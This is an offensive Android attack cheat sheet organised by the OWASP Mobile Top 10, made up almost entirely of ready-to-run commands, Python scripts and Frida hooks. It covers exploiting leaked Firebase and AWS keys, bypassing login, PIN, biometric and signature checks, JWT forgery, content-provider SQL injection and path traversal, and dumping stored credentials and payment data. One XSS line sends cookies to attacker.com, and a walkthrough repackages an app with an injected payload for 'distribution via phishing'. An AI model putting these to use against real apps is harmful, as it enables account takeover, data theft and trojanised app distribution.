Android Attacks — OWASP Mobile Top 10

┌─────┬────────────────────────────────────────┬───────────────────────────────┐  
│ #   │ Category                               │ Primary Attack Vector         │
├─────┼────────────────────────────────────────┼───────────────────────────────┤  
│ M1  │ Improper Credential Usage              │ Hardcoded creds, bad storage  │       
│ M2  │ Inadequate Supply Chain Security       │ Malicious SDKs, 3rd party lib │  
│ M3  │ Insecure Auth/Authorization            │ Bypass login, privilege esc.  │  
│ M4  │ Insufficient Input/Output Validation   │ SQLi, XSS, command injection  │  
│ M5  │ Insecure Communication                 │ MITM, no TLS, weak pinning    │  
│ M6  │ Inadequate Privacy Controls            │ PII leakage, over-collection  │  
│ M7  │ Insufficient Binary Protections        │ APK reversing, tampering      │  
│ M8  │ Security Misconfiguration              │ Exported components, debug on │  
│ M9  │ Insecure Data Storage                  │ Cleartext storage, world-read │  
│ M10 │ Insufficient Cryptography              │ Weak algo, hardcoded keys     │  
└─────┴────────────────────────────────────────┴───────────────────────────────┘

# ─── Static: grep decompiled source ───
jadx target.apk -d java_out/

# API keys / tokens
grep -rni "api.key\|apikey\|api_secret\|access_token" java_out/
grep -rni "aws_access\|aws_secret\|s3.bucket" java_out/
grep -rni "firebase\|google.api.key\|AIzaSy" java_out/
grep -rni "private.key\|-----BEGIN" java_out/

# Hardcoded passwords
grep -rni "password\s*=\s*\"" java_out/
grep -rni "passwd\|secret\s*=\s*\"" java_out/
grep -rni "admin\|root\|backdoor" java_out/

# Tokens in strings.xml
grep -i "key\|token\|secret\|api\|password" \
  decompiled/res/values/strings.xml

# Google services file (Firebase config)
cat decompiled/assets/google-services.json 2>/dev/null
cat decompiled/google-services.json 2>/dev/null
# Look for: api_key, project_id, database_url

# In smali
grep -rn "const-string" smali_out/smali/ | \
  grep -iE "key|secret|pass|token|auth"

# ─── Dynamic: logcat credential capture ───
adb logcat | grep -iE "password|token|secret|api.key|bearer|authorization"

# ─── Firebase key exploitation ───
# Extracted from google-services.json:
# "api_key": "AIzaSyXXXXXXXXXXX"
# "project_id": "target-app-12345"
# "database_url": "https://target-app-12345.firebaseio.com"

import requests

DB_URL = "https://target-app-12345.firebaseio.com"

# Test unauthenticated read
r = requests.get(f"{DB_URL}/.json")
if r.status_code == 200:
    print("[!!!] Firebase DB open to unauthenticated read!")
    print(r.json())

# Test with extracted API key
API_KEY = "AIzaSyXXXXXXXXXXX"

# List all users (if Firebase Auth)
r = requests.post(
    f"https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key={API_KEY}",
    json={"email": "admin@target.com", "password": "password123",
          "returnSecureToken": True}
)
print(r.json())  # Returns JWT token if successful!

# ─── AWS key exploitation ───
# Found in APK: aws_access_key_id + aws_secret_access_key
import boto3

client = boto3.client(
    "s3",
    aws_access_key_id="AKIAXXXXXXXXXXXXXXXX",
    aws_secret_access_key="XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
)
# List all S3 buckets
buckets = client.list_buckets()
for b in buckets['Buckets']:
    print("[S3]", b['Name'])
    # Download contents!
    objs = client.list_objects_v2(Bucket=b['Name'])
    for obj in objs.get('Contents', []):
        print("  →", obj['Key'])

// Hook SharedPreferences to catch token storage/retrieval
Java.perform(function() {
    var SharedPrefsImpl = Java.use("android.app.SharedPreferencesImpl");

    SharedPrefsImpl.getString.implementation = function(key, defValue) {
        var val = this.getString(key, defValue);
        if (key.toLowerCase().match(/token|auth|session|key|secret|password/)) {
            console.log("[CRED] SharedPrefs.getString: " + key + " = " + val);
        }
        return val;
    };

    // Hook AccountManager for OAuth tokens
    var AccountManager = Java.use("android.accounts.AccountManager");
    AccountManager.getAuthToken.overload(
        "android.accounts.Account",
        "java.lang.String",
        "android.os.Bundle",
        "boolean",
        "android.accounts.AccountManagerCallback",
        "android.os.Handler"
    ).implementation = function(account, authTokenType, options, notifyAuthFailure, callback, handler) {
        console.log("[TOKEN] AccountManager.getAuthToken: " + account.name.value +
                    " type=" + authTokenType);
        return this.getAuthToken(account, authTokenType, options,
                                 notifyAuthFailure, callback, handler);
    };
});

// ✅ CORRECT: Use Android Keystore for sensitive keys
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
KeyGenerator keyGen = KeyGenerator.getInstance(
    KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
keyGen.init(new KeyGenParameterSpec.Builder(
    "MySecretKey",
    KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
    .setBlockModes(KeyProperties.BLOCK_MODE_GCM)
    .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
    .build());
SecretKey secretKey = keyGen.generateKey();

// ✅ CORRECT: Encrypted SharedPreferences (Jetpack Security)
SharedPreferences encryptedPrefs = EncryptedSharedPreferences.create(
    "secure_prefs",
    MasterKey.DEFAULT_MASTER_KEY_ALIAS,
    context,
    EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
    EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
);

# ─── APKiD to identify SDKs + frameworks ───
apkid target.apk
# Shows: React Native, Flutter, Firebase, Crashlytics, Adjust, etc.

# ─── Enumerate SDKs in decompiled code ───
jadx target.apk -d java_out/
ls java_out/com/          # third-party packages!
# Common suspicious:
# com/mintegral/    ← data harvester SDK
# com/appsflyer/    ← tracking SDK
# com/kochava/      ← attribution SDK
# com/ironsource/   ← ad SDK with past issues
# io/branch/        ← deep linking SDK

# ─── Check for known vulnerable dependencies ───
# Get list of packages
find java_out/ -name "*.java" | head -5
grep -rh "^package " java_out/ | sort -u > package_list.txt

# Check against CVE databases
cat package_list.txt | while read pkg; do
    echo "Checking: $pkg"
    # Cross-reference with OSS-Index or Snyk
done

# ─── MobSF SDK analysis ───
# MobSF report → "Libraries" section
# Shows: all detected SDKs with known CVEs

# ─── Check app certificate (repackaged app detection) ───
apksigner verify --print-certs target.apk
# Legitimate app cert should match Google Play listing
# Different cert → repackaged/trojanized!

# Verify against Play Store cert:
keytool -printcert -jarfile original.apk | grep "SHA-256"
keytool -printcert -jarfile target.apk   | grep "SHA-256"
# Different hashes → TAMPERED!

# Check what each SDK accesses
grep -rn "com.mintegral\|com.ironsource" java_out/ -l
# Open each file → trace data access

# Common SDK over-reach patterns:
grep -rn "getDeviceId\|getImei\|getLine1Number" java_out/
# → Legitimate app shouldn't need IMEI → SDK is harvesting it!

grep -rn "READ_CONTACTS\|READ_CALL_LOG\|READ_SMS" java_out/
# → If only SDK code uses this → SDK abusing permissions!

# ─── Frida: trace SDK network calls ───

// Identify which SDK is making suspicious network calls
Java.perform(function() {
    var URL = Java.use("java.net.URL");
    URL.$init.overload("java.lang.String").implementation = function(url) {
        // Print call stack to identify which SDK made the call
        var stack = Java.use("android.util.Log")
            .getStackTraceString(Java.use("java.lang.Exception").$new());
        console.log("[NET] URL: " + url);
        console.log("[STACK]\n" + stack.split("\n").slice(0,8).join("\n"));
        return this.$init(url);
    };
});
// → Stack trace shows EXACTLY which SDK/class made the network call!

# ─── Find auth check methods ───
grep -rni "isLoggedIn\|isAuthenticated\|checkLogin\|verifyToken" java_out/
grep -rni "isAdmin\|hasPermission\|checkRole\|isAuthorized" java_out/

# ─── Patch bypass (APK patching) ───
# Find in smali → patch to return true
# See: APK Patching notes

# ─── Frida bypass (runtime) ───

Java.perform(function() {
    // Bypass isLoggedIn check
    var SessionManager = Java.use("com.target.app.SessionManager");
    SessionManager.isLoggedIn.implementation = function() {
        console.log("[BYPASS] isLoggedIn → forced true");
        return true;
    };

    // Bypass role check
    var UserManager = Java.use("com.target.app.UserManager");
    UserManager.hasRole.implementation = function(role) {
        console.log("[BYPASS] hasRole(" + role + ") → forced true");
        return true;
    };

    // Bypass PIN/OTP check
    var PinManager = Java.use("com.target.app.PinManager");
    PinManager.verifyPin.implementation = function(pin) {
        console.log("[BYPASS] verifyPin(" + pin + ") → forced true");
        return true;
    };
});

# ─── Find exported activities (no auth required) ───
adb shell dumpsys package com.target.app | grep -A 3 "Activity"
dz> run app.package.attacksurface com.target.app

# ─── Launch admin activity directly ───
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.UserListActivity
adb shell am start -n com.target.app/.DebugActivity

# ─── With privilege extras ───
adb shell am start -n com.target.app/.ProfileActivity \
  --es userId 1 --es role admin --ez isAdmin true

# ─── Set up interception ───
# Objection: android sslpinning disable
# Route traffic through Burp Suite

# ─── Captured request: ───
# GET /api/v1/users/1042/profile
# Authorization: Bearer <YOUR_TOKEN>

# ─── IDOR: change user ID ───
# In Burp Repeater: change 1042 → 1, 2, 3...
GET /api/v1/users/1/profile     # access admin profile!
GET /api/v1/users/1043/profile  # access another user!

# ─── Privilege escalation: access admin endpoint ───
GET /api/v1/admin/users          # try with regular user token
POST /api/v1/admin/config        # try admin actions
DELETE /api/v1/admin/users/5     # try admin delete

# ─── JWT role manipulation ───
# Decode token (base64): {"role":"user","uid":"1042"}
# Try alg:none attack or weak secret crack
pip3 install jwt_tool
jwt_tool <TOKEN> -X a              # alg:none bypass
jwt_tool <TOKEN> -I -pc role -pv admin  # change role → admin
jwt_tool <TOKEN> -C -d rockyou.txt      # crack secret

// Frida: bypass biometric authentication
Java.perform(function() {
    // Hook BiometricPrompt authentication result
    var AuthCallback = Java.use(
        "androidx.biometric.BiometricPrompt$AuthenticationCallback");

    AuthCallback.onAuthenticationSucceeded.implementation = function(result) {
        console.log("[BYPASS] Biometric auth → forced success!");
        this.onAuthenticationSucceeded(result);
    };

    // Alternatively: call success directly on any authentication attempt
    var BiometricManager = Java.use("androidx.biometric.BiometricManager");
    BiometricManager.canAuthenticate.implementation = function() {
        return 0;  // BIOMETRIC_SUCCESS
    };
});

# ─── Find injectable content providers ───
dz> run scanner.provider.injection -a com.target.app

# ─── Manual test with Drozer ───
# Normal query:
dz> run app.provider.query \
    content://com.target.app.provider/users \
    --selection "username='admin'"

# SQL Injection:
dz> run app.provider.query \
    content://com.target.app.provider/users \
    --selection "1=1--"
# If returns ALL rows → injectable!

# Dump schema:
dz> run app.provider.query \
    content://com.target.app.provider/users \
    --projection "* FROM sqlite_master--"
# Returns: all tables!

# Dump sensitive table:
dz> run app.provider.query \
    content://com.target.app.provider/users \
    --projection "* FROM credentials--"

# ─── Direct ADB content query ───
adb shell content query \
  --uri "content://com.target.app.provider/users" \
  --where "1=1"

# ─── Find WebView loading URL from intent ───
grep -rn "getStringExtra.*url\|getStringExtra.*link\|getData()" java_out/
grep -rn "webView.loadUrl\|webView.loadData" java_out/

# ─── Test XSS via deep link ───
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://view?url=javascript:alert(1)"

# ─── XSS → data theft ───
adb shell am start -n com.target.app/.WebViewActivity \
  -e url "javascript:fetch('https://attacker.com/?c='+document.cookie)"

# ─── If addJavascriptInterface exposed ───
# XSS payload to call Java bridge:
adb shell am start -n com.target.app/.WebViewActivity \
  -e url "javascript:window.AndroidBridge.getToken()"

# ─── Automated test ───
dz> run scanner.provider.traversal -a com.target.app

# ─── Manual path traversal ───
dz> run app.provider.read \
    "content://com.target.app.fileprovider/../../../data/data/com.target.app/shared_prefs/auth.xml"

# Read arbitrary files:
dz> run app.provider.read \
    "content://com.target.app.fileprovider/../../../../etc/passwd"

# ─── ADB path traversal ───
adb shell content read \
  --uri "content://com.target.app.provider/../../../data/data/com.target.app/databases/app.db"

# ─── Find deep link handlers ───
grep -n "intent-filter\|scheme\|host\|pathPrefix" \
  decompiled/AndroidManifest.xml

# ─── Test parameter injection ───
# If app handles: myapp://action?redirect=https://target.com

# Open redirect:
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://action?redirect=https://evil.com"

# XSS in WebView:
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://view?page=javascript:alert(document.domain)"

# Path traversal:
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://file?path=../../../data/data/com.target.app/databases/app.db"

# SSRF (if app makes server-side request with URL param):
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://fetch?url=http://internal.server/admin"

// Frida: inject into implicit intents
Java.perform(function() {
    var Intent = Java.use("android.content.Intent");

    // Hook sendBroadcast to see all broadcast intents
    var Context = Java.use("android.app.ContextImpl");
    Context.sendBroadcast.overload("android.content.Intent").implementation =
        function(intent) {
            console.log("[INTENT] Broadcast: " + intent.getAction());
            console.log("[INTENT] Extras: " + intent.getExtras());
            this.sendBroadcast(intent);
        };
});

# ─── Static: check network security config ───
cat decompiled/res/xml/network_security_config.xml
# BAD: <base-config cleartextTrafficPermitted="true">
# BAD: <trust-anchors><certificates src="user"/></trust-anchors>
# BAD: Missing certificate pinning for sensitive domains

# ─── Static: find HTTP endpoints ───
grep -rh "http://" java_out/ | grep -v "schema\|xmlns\|example\|android.com" | sort -u
# Any http:// (not https://) = cleartext!

# ─── Static: check TrustManager ───
grep -rn "onReceivedSslError\|handler.proceed" java_out/
# handler.proceed() in onReceivedSslError = accepts ALL SSL errors!

grep -rn "checkServerTrusted\|HostnameVerifier\|ALLOW_ALL" java_out/
# Empty checkServerTrusted = no cert validation!
# ALLOW_ALL_HOSTNAME_VERIFIER = accepts any hostname!

# ─── Dynamic: intercept with Burp ───
# 1. objection: android sslpinning disable
# 2. Route traffic through Burp
# 3. Check for:
#    - HTTP requests (not HTTPS)
#    - Sensitive data in URL params
#    - Missing HSTS headers
#    - Weak cipher suites (RC4, DES, 3DES)

# ─── Full MITM setup ───

# Step 1: Install Burp CA
openssl x509 -inform DER -in burp_cert.der -out burp_cert.pem
HASH=$(openssl x509 -inform PEM -subject_hash_old -in burp_cert.pem | head -1)
cp burp_cert.pem ${HASH}.0
adb root && adb remount
adb push ${HASH}.0 /system/etc/security/cacerts/
adb shell chmod 644 /system/etc/security/cacerts/${HASH}.0

# Step 2: Bypass SSL pinning
objection -g com.target.app explore
> android sslpinning disable

# Step 3: Configure proxy
adb shell settings put global http_proxy 192.168.1.100:8080
# OR use transparent proxy with iptables

# Step 4: Verify interception
# Browse app → Burp → Proxy → HTTP history

# ─── What to look for ───
# API keys in request headers
# Tokens in URL parameters (GET requests!)
# Sensitive data in request body (unencrypted)
# Server-side misconfiguration in response headers

# ─── Method 1: Objection (instant) ───
android sslpinning disable

# ─── Method 2: Frida universal script ───
frida -U -f com.target.app --no-pause \
  -l universal-ssl-bypass.js

# ─── Method 3: apk-mitm (static patch) ───
npm install -g apk-mitm
apk-mitm target.apk  # outputs patched APK

# ─── Method 4: Manual network_security_config patch ───
# Edit res/xml/network_security_config.xml:
# Add: <certificates src="user"/> under trust-anchors
# Rebuild + sign with apktool + uber-apk-signer

# ─── Method 5: Native OkHttp patch (smali) ───
# Find CertificatePinner.check() in smali
# Replace method body with: return-void

# ─── Find what PII the app collects ───
grep -rn "getDeviceId\|getImei\|getSubscriberId" java_out/  # IMEI
grep -rn "getLine1Number\|getSimSerialNumber" java_out/     # Phone #
grep -rn "getLastKnownLocation\|requestLocationUpdates" java_out/ # GPS
grep -rn "READ_CONTACTS\|getContactsCursor" java_out/       # Contacts
grep -rn "RECORD_AUDIO\|MediaRecorder" java_out/            # Microphone
grep -rn "takePicture\|CAMERA" java_out/                    # Camera
grep -rn "READ_CALL_LOG\|getCallLog" java_out/              # Call history
grep -rn "READ_SMS\|SmsManager" java_out/                   # SMS

# ─── Check where PII goes ───
grep -rn "sendToAnalytics\|track(\|identify(\|logEvent(" java_out/
# Find SDK calls that receive PII → where is it sent?

# ─── Live PII detection in logs ───
adb logcat | grep -iE \
  "name|email|phone|address|dob|ssn|credit|card|password|token|location|gps"

# Check for PII patterns (regex)
adb logcat | grep -E \
  "[0-9]{4}[-\s]?[0-9]{4}[-\s]?[0-9]{4}[-\s]?[0-9]{4}" # Credit card
adb logcat | grep -E \
  "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}"      # Email
adb logcat | grep -E \
  "\+?[0-9]{10,13}"                                        # Phone number

# ─── Find Log calls in source ───
grep -rn "Log\.d\|Log\.v\|Log\.i\|Log\.e" java_out/ | \
  grep -iE "email|phone|name|token|password|card|ssn"

// Frida: intercept analytics/tracking calls
Java.perform(function() {
    // Firebase Analytics
    try {
        var FirebaseAnalytics = Java.use("com.google.firebase.analytics.FirebaseAnalytics");
        FirebaseAnalytics.logEvent.implementation = function(event, params) {
            console.log("[ANALYTICS] Event: " + event);
            if (params !== null) {
                console.log("[ANALYTICS] Params: " + params.toString());
            }
            this.logEvent(event, params);
        };
    } catch(e) {}

    // Adjust tracking
    try {
        var Adjust = Java.use("com.adjust.sdk.Adjust");
        Adjust.trackEvent.implementation = function(event) {
            console.log("[ADJUST] Track event called");
            this.trackEvent(event);
        };
    } catch(e) {}
});

# ─── Check obfuscation ───
apkid target.apk
# "proguard" → basic obfuscation
# "dexguard" → commercial strong obfuscation
# nothing    → NO obfuscation → full source readable!

jadx target.apk -d java_out/
# If class names = full words (LoginActivity, AuthManager)
# → NO obfuscation → immediate source code access!

# If class names = a, b, c, aa, ab...
# → ProGuard/R8 obfuscation → harder but still reversible

# ─── Check for anti-tamper ───
grep -rni "getSignatures\|PackageInfo.signatures\|checkSignature" java_out/
# No signature check → easily repackaged!

# ─── Check for anti-debug ───
grep -rni "isDebuggerConnected\|waitingForDebugger" java_out/
# No debug check → trivially debuggable!

# ─── Check for root detection ───
grep -rni "isRooted\|superuser\|magisk\|su\b" java_out/
# No root check → runs fully on rooted device/emulator!

# ─── Check debuggable flag ───
grep "debuggable" decompiled/AndroidManifest.xml
# android:debuggable="true" → can attach debugger directly!

# ─── Repackage APK with malicious code ───

# Step 1: Decode
apktool d target.apk -o modified/

# Step 2: Inject malicious code
# Add a new smali file OR modify existing MainActivity.smali
cat > modified/smali/com/evil/Payload.smali << 'EOF'
.class public Lcom/evil/Payload;
.super Ljava/lang/Object;

.method public static execute(Landroid/content/Context;)V
    .registers 3
    # ... malicious code here
    return-void
.end method
EOF

# Add call in MainActivity.smali
# invoke-static {p0}, Lcom/evil/Payload;->execute(Landroid/content/Context;)V

# Step 3: Rebuild
apktool b modified/ -o malicious.apk

# Step 4: Sign
java -jar uber-apk-signer.jar -a malicious.apk

# Step 5: Verify repackaging worked
apksigner verify --print-certs malicious-aligned-debugSigned.apk
# → Different certificate from original → repackaged!

# Step 6: Distribute via phishing / 3rd party stores
# → Users install thinking it's legitimate app!

// Frida: bypass signature check
Java.perform(function() {
    // Hook PackageManager.getPackageInfo to fake original signature
    var PackageManager = Java.use("android.app.ApplicationPackageManager");
    PackageManager.getPackageInfo.overload(
        "java.lang.String", "int"
    ).implementation = function(pkg, flags) {
        var info = this.getPackageInfo(pkg, flags);

        if (pkg === "com.target.app" && (flags & 0x40) !== 0) {
            // flags & 0x40 = GET_SIGNATURES
            // Replace with expected signature
            console.log("[BYPASS] Signature check bypassed");
            // Return modified info with expected sig
        }
        return info;
    };

    // Hook CRC/hash check on DEX file
    var Runtime = Java.use("java.lang.Runtime");
    // ... bypass checksum verification
});

# ─── Extract and check manifest ───
apktool d target.apk -o out/
cat out/AndroidManifest.xml

# ─── Check all dangerous settings at once ───
echo "=== DEBUGGABLE ==="
grep "debuggable=\"true\"" out/AndroidManifest.xml
# → Allows debugger attach → read memory, modify runtime!

echo "=== BACKUP ENABLED ==="
grep "allowBackup=\"true\"" out/AndroidManifest.xml
# → adb backup works without root → extract all app data!

echo "=== CLEARTEXT TRAFFIC ==="
grep "cleartext\|usesCleartextTraffic=\"true\"" out/AndroidManifest.xml
# → Allows HTTP requests → MITM without SSL bypass!

echo "=== EXPORTED ACTIVITIES ==="
grep -A 3 "activity" out/AndroidManifest.xml | grep "exported=\"true\""
# → Any exported activity = potential auth bypass!

echo "=== EXPORTED RECEIVERS ==="
grep -A 3 "receiver" out/AndroidManifest.xml | grep "exported=\"true\""
# → Exported receivers = trigger internal app events!

echo "=== EXPORTED PROVIDERS ==="
grep -A 3 "provider" out/AndroidManifest.xml | grep "exported=\"true\""
# → Exported providers = direct DB/file access!

echo "=== WORLD READABLE PERMISSIONS ==="
grep "permission.*READ\|permission.*WRITE" out/AndroidManifest.xml

echo "=== NETWORK SECURITY CONFIG ==="
cat out/res/xml/network_security_config.xml 2>/dev/null || echo "NOT PRESENT"

# ─── Activity exploitation ───
# See M3 section above for full details

# ─── Content Provider exploitation ───
dz> run app.provider.info -a com.target.app
dz> run app.provider.query content://com.target.app.provider/

# ─── Broadcast Receiver exploitation ───
dz> run app.broadcast.info -a com.target.app
dz> run app.broadcast.send \
    --component com.target.app com.target.app.UpdateReceiver \
    --action com.target.app.UPDATE_CONFIG \
    --extra string config_url "http://attacker.com/evil_config.json"

# ─── Debug mode exploitation ───
# If debuggable=true:
adb shell am attach-agent com.target.app /data/local/tmp/agent.so
# Attach JDWP debugger:
adb forward tcp:8700 jdwp:$(adb shell ps | grep com.target | awk '{print $2}')
jdb -attach localhost:8700
# Full Java debugger → inspect/modify any variable at runtime!

# ─── Find Firebase project from APK ───
cat decompiled/assets/google-services.json
# or
grep -rn "firebaseapp\|firebase" decompiled/res/ -r | head -5

# ─── Test Firebase security rules ───
FIREBASE_URL="https://YOUR-PROJECT.firebaseio.com"

# Test unauthenticated read
curl "${FIREBASE_URL}/.json"
# 200 → open to world! → data leak!
# 401 → secured

# Test write
curl -X PUT "${FIREBASE_URL}/test.json" -d '"hacked"'
# 200 → anyone can write! → data tampering!

# ─── Firebase Storage misconfig ───
curl "https://firebasestorage.googleapis.com/v0/b/YOUR-PROJECT.appspot.com/o"
# Lists all storage objects if misconfigured!

# ─── Firebase Auth: weak rules ───
# Check if API key allows creating accounts
curl -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"test@test.com","password":"test1234","returnSecureToken":true}'
# 200 → anyone can register → account enumeration!

# ─── Complete storage sweep (requires root) ───
PKG="com.target.app"

echo "=== SHARED PREFERENCES ==="
adb shell "su -c 'ls /data/data/$PKG/shared_prefs/'"
adb shell "su -c 'cat /data/data/$PKG/shared_prefs/*.xml'"

echo "=== DATABASES ==="
adb shell "su -c 'ls /data/data/$PKG/databases/'"
adb shell "su -c 'sqlite3 /data/data/$PKG/databases/*.db \".dump\"'" 2>/dev/null

echo "=== FILES ==="
adb shell "su -c 'find /data/data/$PKG/files/ -type f'"
adb shell "su -c 'cat /data/data/$PKG/files/*.json'" 2>/dev/null

echo "=== CACHE ==="
adb shell "su -c 'ls -la /data/data/$PKG/cache/'"

echo "=== EXTERNAL ==="
adb shell "ls -la /sdcard/Android/data/$PKG/"
adb shell "find /sdcard/ -name '*.db' -o -name '*.json' -o -name '*.xml'" 2>/dev/null

echo "=== TEMP FILES ==="
adb shell "su -c 'ls /data/local/tmp/'" 2>/dev/null

# ─── Read SharedPreferences (most common finding) ───
adb shell "su -c 'cat /data/data/com.target.app/shared_prefs/userdata.xml'"

# Typical vulnerable content:
# <?xml version='1.0' encoding='utf-8' standalone='yes' ?>
# <map>
#   <string name="auth_token">eyJhbGciOiJIUzI1NiJ9...</string>
#   <string name="username">admin@corp.com</string>
#   <string name="password">MyP@ssw0rd123</string>       ← CRITICAL!
#   <string name="credit_card">4111111111111111</string>  ← CRITICAL!
# </map>

# ─── MODE_WORLD_READABLE (Android < 4.4) ───
# Old apps using MODE_WORLD_READABLE → any app can read prefs!
grep -rn "MODE_WORLD_READABLE\|MODE_WORLD_WRITEABLE" java_out/
# HIGH finding even on modern Android!

# ─── Find and analyze all databases ───
adb shell "su -c 'find /data/data/com.target.app/ -name \"*.db\"'"

# Pull and analyze
adb shell "su -c 'cp /data/data/com.target.app/databases/app.db /sdcard/'"
adb pull /sdcard/app.db

sqlite3 app.db
> .tables           # list all tables
> .schema users     # show table structure
> SELECT * FROM users;          # dump users
> SELECT * FROM sessions;       # dump active sessions
> SELECT * FROM credentials;    # dump credentials!
> SELECT * FROM payment_methods; # dump payment data!

# ─── Common sensitive tables to check ───
sqlite3 app.db ".tables" | tr ' ' '\n' | sort
# Look for: users, credentials, sessions, tokens, messages,
#           payment, transactions, keys, secrets, config

# ─── Check for sensitive files on external storage ───
# External storage = world-readable until Android 10!

adb shell "find /sdcard/ -name '*.db' 2>/dev/null"  # databases on SD!
adb shell "find /sdcard/ -name '*.pdf' 2>/dev/null" # documents
adb shell "find /sdcard/ -name '*.key' 2>/dev/null" # key files!
adb shell "find /sdcard/ -name '*.log' 2>/dev/null" # log files!

# Pull and analyze anything suspicious
adb pull /sdcard/com.target.app/ ./external_evidence/

# ─── Check if app writes sensitive data to external ───
grep -rn "getExternalStorageDirectory\|getExternalFilesDir" java_out/
# ALWAYS a finding if sensitive data goes here!
grep -rn "Environment.getExternalStorage\|WRITE_EXTERNAL_STORAGE" java_out/

# ─── Static analysis ───
grep -rn "getInstance.*AES.ECB\|AES/ECB" java_out/   # ECB mode = WEAK!
grep -rn "getInstance.*DES\b\|DES/\|3DES\|DESede" java_out/  # DES = broken!
grep -rn "getInstance.*RC4\|getInstance.*RC2" java_out/       # RC4 = broken!
grep -rn "getInstance.*MD5\|MD5\b" java_out/                  # MD5 = broken!
grep -rn "getInstance.*SHA1\b\|\"SHA-1\"" java_out/           # SHA1 = weak!

grep -rn "SecretKeySpec\|IvParameterSpec" java_out/           # find key/IV setup
grep -rn "new Random\b\|Math.random" java_out/                # NOT SecureRandom!
grep -rn "getBytes.*key\|\"key\"\|\"secret\"" java_out/       # hardcoded keys!

# ─── Exploit 1: Hardcoded AES ECB key ───
from Crypto.Cipher import AES
import base64

key = b"HardcodedKey1234"           # extracted from APK
ct  = base64.b64decode("ENCRYPTED_DATA_FROM_APP_OR_DB")

cipher = AES.new(key, AES.MODE_ECB)
pt = cipher.decrypt(ct)
print("[DECRYPTED]", pt.strip(b'\x00'))

# ─── Exploit 2: Static IV with AES CBC ───
key = b"1234567890123456"           # from APK
iv  = b"0000000000000000"           # static IV from code
ct  = base64.b64decode("CIPHERTEXT")

from Crypto.Util.Padding import unpad
cipher = AES.new(key, AES.MODE_CBC, iv)
pt = unpad(cipher.decrypt(ct), 16)
print("[DECRYPTED]", pt)

# ─── Exploit 3: Weak Random seed ───
# App uses: new Random(System.currentTimeMillis())
# → Predictable! Brute-force timestamp window:
import random
import time

target_time_ms = 1704067200000  # approximate time token was generated
for offset in range(-1000, 1000):  # ±1 second
    seed = target_time_ms + offset
    r = random.Random(seed)
    token = r.randint(100000, 999999)  # 6-digit OTP
    print(f"seed={seed} token={token}")

# ─── Exploit 4: MD5 password hashing ───
# Found in DB: MD5 hash "5f4dcc3b5aa765d61d8327deb882cf99"
# hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -O
# john --format=raw-md5 --wordlist=rockyou.txt hash.txt

# App uses XOR "encryption":
# encrypted[i] = plaintext[i] XOR key[i % len(key)]

# If you know part of the plaintext (known-plaintext attack):
def crack_xor(ciphertext: bytes, known_plaintext: bytes, key_len: int) -> bytes:
    key = bytearray(key_len)
    for i in range(min(len(known_plaintext), len(ciphertext))):
        key[i % key_len] = ciphertext[i] ^ known_plaintext[i]
    return bytes(key)

# Example: JWT always starts with "eyJ" (base64 of '{"')
import base64
ciphertext = bytes.fromhex("DEADBEEF...")  # from app
known_start = b'eyJ'                        # known JWT prefix
key = crack_xor(ciphertext, known_start, 16)
print("[XOR KEY]", key.hex())

# Decrypt full ciphertext with recovered key
def xor_decrypt(ct: bytes, key: bytes) -> bytes:
    return bytes(ct[i] ^ key[i % len(key)] for i in range(len(ct)))

plaintext = xor_decrypt(ciphertext, key)
print("[DECRYPTED]", plaintext)

// Hook crypto operations → capture keys and plaintext at decrypt time
Java.perform(function() {
    var Cipher = Java.use("javax.crypto.Cipher");

    // Hook doFinal (actual encryption/decryption)
    Cipher.doFinal.overload("[B").implementation = function(input) {
        var result = this.doFinal(input);

        var algorithm = this.getAlgorithm();
        console.log("[CRYPTO] Algorithm: " + algorithm);

        // Log input (plaintext or ciphertext)
        console.log("[CRYPTO] Input:  " +
            Java.use("android.util.Base64")
                .encodeToString(input,  0));
        console.log("[CRYPTO] Output: " +
            Java.use("android.util.Base64")
                .encodeToString(result, 0));

        return result;
    };

    // Hook SecretKeySpec → capture the actual key bytes!
    var SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");
    SecretKeySpec.$init.overload("[B", "java.lang.String").implementation =
        function(keyBytes, algorithm) {
            console.log("[KEY] Algorithm: " + algorithm);
            console.log("[KEY] Key (hex): " +
                Array.from(keyBytes).map(b =>
                    ('0' + (b & 0xFF).toString(16)).slice(-2)).join(''));
            return this.$init(keyBytes, algorithm);
        };

    // Hook IvParameterSpec → capture IV
    var IvParameterSpec = Java.use("javax.crypto.spec.IvParameterSpec");
    IvParameterSpec.$init.overload("[B").implementation = function(iv) {
        console.log("[IV] " + Array.from(iv).map(b =>
            ('0' + (b & 0xFF).toString(16)).slice(-2)).join(''));
        return this.$init(iv);
    };
});

# Static sweep (30 seconds)
apkid app.apk && apkleaks -f app.apk -v

# Manifest quick check
apktool d app.apk -o out/ -q && \
  grep -E "debuggable|allowBackup|cleartext|exported|SYSTEM_ALERT" \
  out/AndroidManifest.xml

# Credential hunt
grep -rniE "api.key|password\s*=|secret\s*=|token\s*=" java_out/ | head -20

# Component attack
drozer console connect --command "run app.package.attacksurface com.target.app"

# Runtime bypass (SSL + root)
objection -g com.target.app explore --startup-command \
  "android sslpinning disable; android root disable"

# Storage dump
adb shell "su -c 'find /data/data/com.target.app/ -name \"*.db\" | \
  xargs -I{} sqlite3 {} \".dump\"'"

# Crypto hook
frida -U -f com.target.app --no-pause -l crypto_monitor.js